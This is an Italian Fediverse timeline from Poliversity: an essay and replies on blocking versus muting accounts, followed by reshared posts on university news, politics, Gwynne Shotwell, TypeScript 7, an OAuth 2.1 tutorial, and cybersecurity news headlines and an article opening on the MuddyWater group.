Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Riflessioni tossiche sul Fediverso.

Terza puntata.


Alcuni giorni fa sono incappato per caso in un post con il quale un account che non conoscevo comunicava di avere l'abitudine di bloccare tutti coloro che scrivessero post più lunghi di 500 caratteri. Solo io penso che, allo stesso modo, avrebbe potuto scrivere che non intedeva interagire con chi talvolta indossasse i pantaloni neri o con chi bevesse latte a colazione?

Indosso quasi sempre pantaloni neri, a colazione di solito bevo latte, inoltre spesso scrivo post ben più estesi di 500 caratteri. Per gentilezza mi sono dunque premurato di provvedere al blocco dell'account sconosciuto per risparmiargli la fatica; dopo di che, come mio solito, mi sono scatenato nelle mie elucubrazioni tossiche.

§

Sono nel Fediverso dal 2022, non ricordo esattamente da quando: prima di piantare le radici in Poliversity.it mi ero iscritto a Livello Segreto, in epoche in cui progettavo di sbirciare per qualche mese e poi andarmene.
Invece sto ancora resistendo dopo quattro anni.

Dal 2022 mi è capitato di bloccare per sfizio soltanto l'account sconosciuto di cui sopra, mentre blocchi ragionati sono stati quelli rivolti al bridge verso il malefico Bluesky, a qualche dannoso spammer, e ad appena due altri account. Questi due altri account sono dunque LE eccezioni.

Eccezioni: ecco la parola magica. Due account talmente insopportabili e ingestibili da indurmi ad assicurarmi che non potessero interagire con i miei post.

Se erano eccezioni, qual è stata la normalità? Se non ho piacere di vedere un account mi limito a silenziarlo. Il silenziamento è elegante: lascia agli altri la libertà di navigare, leggere, cercare, informarsi. Il blocco, invece, è una violenza, in quanto limita l'orizzonte di chi blocchiamo.

Un Fediverso in cui tutti bloccassero tutti sarebbe un Soliverso. Il Soliverso non sarebbe interessante.

§

Concludo con gli hashtag che voglio appiccicare a questo post: #riflessionitossiche e #silenziamento.
Non cito alcuna community.1

Arrivederci alla prossima riflessione tossica.

1 Il mio admin d'istanza @macfranc mi chiede di citare la sua community @fediverso che amministra e modera personalmente. Questa è un'eccezione che posso concedermi: una community nel cui admin ho fiducia. Non posso che accontentarlo, senza che ciò confuti le mie pensate tossiche delle prime due puntate.

Questa voce è stata modificata (4 giorni fa)
in reply to Trames Venenosus

chi blocca gli account che scrivono più di 500 caratteri dimostra quella che probabilmente è solo ignoranza twittercentrica: non esiste un solo software nel Fediverso oltre a Mastodon che limiti i post a una quantità piccola e ispirata alla lunghezza standard di Twotter moltiplicata per due...

Che dire, è un po' come se qualcuno abituato a esprimersi con frasi da massimo 6 parole decidesse di tapparsi le orecchie ogni volta che sente parlare una persona scolarizzata...

in reply to informapirata ⁂

@informapirata @luca Le mie elucubrazioni sono tossiche solo per gioco: non scatenatevi!
Le scrivo in ricordo di una divertente rubrica di stoncature che tanti anni fa Roberto Cotroneo gestiva sulla rivista L'Espresso.
Cotroneo evidenziava solo gli aspetti negativi di opere letterarie, a volte incuriosendo e facendo venire in realtà voglia di leggerle.
Allo stesso modo sottolineo in modo schezoso il lato tossico di certi pensieri, ma solo per riflettere un po'.

informapirata ⁂ reshared this.

in reply to Trames Venenosus

Anche il blocco è un tema a cui tengo particolarmente: per esigenze tipo "no al testo lungo, no alle foto..." sono d'accordo che basta il mute; ma se un utente inizia a mandare materiale pedo usando l'hashtag kids, a quel punto là non è che il mute sia sufficiente; tu non lo vedresti ma lui riempirebbe il fediverso di spazzatura comunque. Su questo, ci sono varie liste blocco di istanze problematiche e il bello è che non è obbligatorio. Ci sono. Tu scegli se importare quei csv nella tua istanza o no.

Io non ritengo il blocco come una violenza, ma come un confine; nel momento in cui arrivasse uno che dicesse tipo "l'accessibilità è inutile, è una stronzata, mettere gli alt nelle immagini è una rottura di palle", lì io non ho margine di dialogo con quella gente là, sarebbe come se pensassi di dare un bacio con la lingua a una palla di fuoco convinta che l'amore possa riparare la mia faccia dalle ustioni. Rendo l'idea? Io non voglio permettere di cercare, leggere quello che scrivo, a gente che deliberatamente è contraria ai miei valori. Sproloquia pure, ma non farlo davanti a me. E se c'hai un'istanza singola dove scrivi solo tu, da me non entri se sei un omofobo-razzista-abilista-demmerda.

Micolcosta reshared this.

in reply to Trames Venenosus

Appena detto... Ho bloccato uno con cui ho perso tempo a spiegargli che l'AI può essere anche utile per le persone con disabilità... Mi ha dato della venduta alle big tech e secondo te?
Il blocco e il mute però hanno un problema nel fediverso, rispetto ai social centralizzati: se uno ha voglia di romperti le tole, puoi bloccarlo; ma lui se è uno competente a livello tecnico, si può creare un'istanza in self-hosting e farsi tutti gli utenti che vuole. Lo blocchi nel dominio triccotracco.net? Si compra il .com ... o i sottodomini... Certo non dura all'infinito ma può farti passare un brutto quarto d'ora.
in reply to Micolcosta

@Micolcosta A differenza delle altre piattaforme, sul fediverso abbiamo tre strumenti: il blocco, il silenzio, e il filtro (quest'ultimo presente su mastodon, sugli altri servizi non ho approfondito). A seconda delle esigenze che hai, puoi anche decidere che quella parola chiave può esserti mostrata come avviso sui contenuti, e leggi solo se ti va di farlo. Invece dagli altri social, ti tocca sorbirti tutto.
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

1. avete capito che sta succedendo?
Profondi conoscitori del #ComplessoMilitareIndustrialeUSA dicono che militari e intelligence USA stanno leakando a tutta birra informazioni perché si oppongono all'allargamento della guerra contro #Iran
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Il nuovo post di universita-it: Studiare in Spagna: università, accesso, costi e vita da studente

Qui il post completo: universita.it/category/studiar…

@universitaly

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

La mossa del giaguaro. Anzi, del leone.
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Sta arrivando Policy Aperta: il nuovo spazio di Volt Italia per trasformare partecipazione politica, idee e competenze in proposte concrete!

Non il solito “dicci la tua” che finisce nel vuoto.
Non è una consultazione lampo di cui poi non si sa più nulla.
Non è partecipazione di facciata.

Dai diritti al clima, dal lavoro al welfare, dall’innovazione all’Unione Europea: partiremo dai temi delle campagne per costruire risposte nuove, aperte, condivise.

Anche senza la tessera di Volt. Anche se non hai mai fatto politica.

Perché la politica non deve solo chiederti un voto: deve darti spazio per contare e per partecipare.

Policy Aperta sarà presto online: seguici per scoprire come prendervi parte. 💜

#PartecipazionePolitica #PolicyAperta #DemocraziaPartecipativa #CittadinanzaAttiva #PoliticaDalBasso #EuropaFederale #Volt #VoltItalia #VoltEuropa

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Giovani e creatività, il ministro Abodi al fianco della GenZ: il successo di “24FrameAlSecondo”

@scuola

corriereuniv.it/giovani-creati…

C’è un’Italia giovane che crea, racconta e si mette in gioco. E c’è una politica che prova ad ascoltarla e sostenerla. Il successo di “24FrameAlSecondo – La Mia Battaglia, il conflitto fuori e dentro di sé” la rassegna di

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

New Ivanti EPMM Zero-Day CVE-2026-6973 Actively Exploited — Patch Immediately
#CyberSecurity
securebulletin.com/new-ivanti-…
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Le profondità marine dell’arcipelago delle Eolie è caratterizzato da una serie di sorgenti idrotermali, un laboratorio naturale unico per comprendere come la vita riesca a prosperare in condizioni estreme.
Uno studio condotto dai ricercatori dell’INGV, l’Università di Palermo e altri centri di ricerca, ha esplorato il "Black Point", una sorgente idrotermale a 23 metri di profondità a sud ovest di Panarea dove i fluidi possono superare i 130°C
Leggi l'articolo buff.ly/ERDU7Zq
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Dirty Frag: New Linux Kernel Vulnerability Chains Two Flaws to Grant Root Privileges — Public PoC Released
#CyberSecurity
securebulletin.com/dirty-frag-…
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Gwynne #Shotwell, la regina dell'industria spaziale


Da bambina non sembra certo predestinata a guidare la più importante azienda spaziale al mondo. Non sogna affatto di fare l’astronauta e quando a cinque anni vede lo sbarco sulla Luna dell’Apollo 11 lo trova piuttosto noioso.

Le interessa capire come funzionano le cose e impara presto a ripararsi la bicicletta da sola, ma da adolescente le piace anche vestirsi con stile e pensa che gli ingegneri siano nerd e disadattati. Così, quando la madre la accompagna a un convegno della Society of Women Engineers, di proposito non le dice dove stanno andando, perché sa che altrimenti si rifiuterebbe di venire.

Assiste agli interventi controvoglia, finché rimane colpita da una relatrice non per le sue parole, ma per le scarpe impeccabili e la borsa abbinata, che smontano i suoi pregiudizi contro gli ingegneri.

Prende la laurea triennale in ingegneria meccanica alla Northwestern University di Chicago, dove è una delle tre donne in un corso con trentasei studenti, per poi conseguire la laurea magistrale in matematica applicata.

Sostiene un colloquio con l’IBM il 28 gennaio 1986: il giorno del disastro dello Space Shuttle Challenger. L’immagine di quel razzo che esplode in diretta televisiva la turba e il colloquio non va bene. Dopo un’esperienza poco felice nel settore automobilistico alla Chrysler, nel 1988 approda all'Aerospace Corporation di El Segundo in California, dove lavora per dieci anni in analisi termica, ingegneria di sistema e project management.

Nel 1998 passa a una piccola azienda di razzi low cost, chiamata Microcosm. Quattro anni dopo va a pranzo con un suo ex collega della Microcosm, Hans Koenigsmann, appena entrato in una nuova startup spaziale. Incontra anche il fondatore della startup e due settimane dopo accetta di diventare la settima dipendente dell’azienda, con il compito di dedicarsi allo sviluppo commerciale. È una scelta rischiosa: le startup nel settore dei razzi di solito hanno vita breve. Ma non sarà il caso di questa. Forse l’avete già sentita nominare: si chiama SpaceX e il suo fondatore è Elon Musk.

I primi anni non sono facili. Il Falcon 1, il primo razzo di SpaceX, fallisce tre lanci consecutivi tra il 2006 e il 2008. Al quarto tentativo, nel settembre 2008, Gwynne guarda il webcast dalla sua camera d'albergo a Glasgow, dove si trova per una conferenza, con la doccia aperta per non svegliare il marito che dorme nell'altra stanza. Quando il Falcon 1 raggiunge l'orbita per la prima volta, non riesce a trattenersi: in pigiama, urla e corre per il corridoio dell'albergo ad abbracciare i colleghi. "Totalmente poco professionale", dirà ridendo. Ma è il momento della svolta.

Pochi mesi dopo, a dicembre 2008, negozia con la NASA il primo contratto da 1,6 miliardi di dollari per i rifornimenti alla Stazione Spaziale Internazionale. Il giorno stesso viene promossa presidente e chief operating officer di SpaceX. Da quel momento in poi è lei a tenere in piedi la macchina operativa dell'azienda.

Sotto la sua guida SpaceX ottiene una serie di primati: prima azienda privata a lanciare, mettere in orbita e recuperare un veicolo spaziale; prima a portare astronauti sulla ISS; prima a far atterrare un razzo orbitale su terraferma e su una piattaforma oceanica; prima a riutilizzare un razzo orbitale già volato. Il 30 maggio 2020, con la missione Crew Dragon che trasporta Doug Hurley e Bob Behnken, mette fine a un periodo di quasi dieci anni in cui gli Stati Uniti non erano in grado di portare autonomamente i propri astronauti in orbita e dovevano fare affidamento sulla Sojuz russa.

Considera essenziale promuovere le carriere STEM tra le ragazze, esattamente come quella sconosciuta ingegnera con le belle scarpe ha fatto con lei decenni fa. Contribuisce a raccogliere quasi due milioni di dollari in borse di studio per studenti di ingegneria.

È sposata con un ingegnere del JPL della NASA, ha due figli dal primo matrimonio e un ranch in Texas, che ha tutta l'intenzione di trasformare in un vigneto, non lontano dal sito di test di SpaceX a Boca Chica.

Nel 2020 viene eletta alla National Academy of Engineering. È forse la manager più influente in tutto il settore spaziale mondiale, eppure fuori dall'industria in pochi la conoscono. Ma tra le ragazze che l’hanno sentita parlare in un TED o in un'aula universitaria ce ne sono molte che seguiranno la sua strada e forse qualcuna diventerà importante quanto lei.


Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Sinceramente non sento la mancanza di byoblu - decisamente no...
Sul digitale terrestre si spegne un canale punto-informatico.it/digitale-…
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Ancora possibile accedere a contributi dei nuovi studentati: il bando

@scuola

corriereuniv.it/ancora-possibi…

Entra nel vivo il bando per la messa a disposizione di nuovi posti letto per studenti pubblicato da Cassa Depositi e Prestiti, in base a una convenzione siglata con il ministero dell’Università e della

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

«Il dubbio che resta è proprio oggi come ieri, mutatis mutandis, quello di don Milani, vale a dire: se c’è un Paese della NATO che agisce come oppressore e attacca un altro Stato in violazione del diritto umanitario internazionale, uccidendo ad esempio bambine e bambini (come in Iran ad esempio?), e poi dovesse esserci una ripercussione dello Stato aggredito contro un membro NATO in modo da far scattare l’art. 5 del Trattato, qual è la Patria che sarei chiamato a difendere anche con il servizio civile disarmato ma militarizzato?».

pressenza.com/it/2026/05/e-se-…

reshared this

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Che piaccia o meno, tutto è naturale. Anche se prodotto in laboratorio.
Perché tutto ciò che esiste è permesso dalle leggi della natura (fisica, chimica, ecc.)... se no non sarebbe producibile e non esisterebbe.
Che poi non tutto sia sano (anche ciò che non viene dai laboratori) è un altro tema.
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Questa voce è stata modificata (5 giorni fa)
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

Con lo smart working possibile taglio alle emissioni di CO2 del 75%


Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Malicious DeepSeek-Claw AI Skill Delivers Remcos RAT and GhostLoader in Agentic AI Supply Chain Attack
#CyberSecurity
securebulletin.com/malicious-d…
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Massive 2.45 Billion-Request DDoS Attack Uses 1.2 Million IPs to Defeat Rate Limiting in “Low and Slow” Campaign
#CyberSecurity
securebulletin.com/massive-2-4…
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Critical Palo Alto PAN-OS Zero-Day CVE-2026-0300 Actively Exploited — Root Access Granted on 5,800+ Exposed Firewalls
#CyberSecurity
securebulletin.com/critical-pa…
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica
#tech
spcnet.it/typescript-7-beta-ab…
@informatica


TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica


Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?


TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

  • Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
  • Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
  • Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?


Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

  • IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
  • Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
  • Go to Definition. La navigazione alle definizioni è più reattiva.
  • Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
  • Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.


Come controllare quale versione di TypeScript usa Visual Studio


Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7


Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)


Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview


Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)


TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

  • IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
  • Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
  • Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
  • CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
  • Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
  • File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.


Come riportare feedback


Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?


Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.


Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)


Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Vercel Data Breach: ShinyHunters Exploit OAuth Supply Chain Attack to Steal Customer Credentials for $2M Sale
#CyberSecurity
securebulletin.com/vercel-data…
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario
#tech
spcnet.it/oauth-2-1-spiegato-s…
@informatica


OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026


Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

"Quando il mare è calmo, anche lo stronzo è marinaio" - da dove viene 'sto proverbio qui? Uno che mi è piaciuto un sacco e rende molto l'idea dei tempi che stiamo vivendo a livello di conflitti -non nel senso di guerre, ma di come si gestisce la convivenza con idee/culture opposte-.
Presumo sia da Napoli, o comunque dalla Campania dove un sacco di espressioni (anche rivolte alle persone) fanno riferimento al mare o al pesce.
Mi è piaciuto un sacco e ho iniziato a usarlo anche quando si parla di razzismo: facile dire "includere le persone con disabilità" finché non ti "rompono le palle" chiedendoti di fare il tuo sito web in rispetto anche delle loro esigenze...
in reply to Elena Brescacin

Discorso generico: I detti popolari sarebbero da custodire per i legami con le origini territoriali e la capacità di esprimere spesso grazie al dialetto, situazioni e concetti difficilmente esprimibili in forme diverse, avendo cura di osservarli con consapevolezza moderna; dire che alcuni "sono invecchiati malissimo" è molto più di un eufemismo, meglio evitare certe fascinazioni, specie in tempi in cui è facile scambiare arretratezza culturale per un'inesistente età dell'oro.
in reply to kipple - canc. 14 giorni

@kipple I proverbi e modi di dire, arrivano dall'esperienza e non possono cambiare, o meglio, più che cambiare quelli vecchi, ne possono nascere di nuovi - l'unico freno secondo me è che i cambiamenti sono velocissimi. Quindi se oggi si può acquisire un'esperienza e legarla a una caratteristica umana, non è detto che rimanga uguale. "sei un computer" per dire che uno assimila o memorizza facilmente, un informatico potrebbe dirti che sul computer è facilissimo perdere dati. Invece che il mare calmo sia più gestibile da un essere umano poco capace rispetto a quello mosso, quello è un fatto oggettivo.
Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The Papillo Tour: il viaggio che racconta come prevenire le complicanze del Papillomavirus

@scuola

corriereuniv.it/the-papillo-to…

The Papillo Tour è il progetto dell’Università di Milano-Bicocca che nasce per raccontare la storia del Papillomavirus Umano (HPV) e della

Poliversity - Università ricerca e giornalismo ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime
#CyberSecurity
insicurezzadigitale.com/muddyw…


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

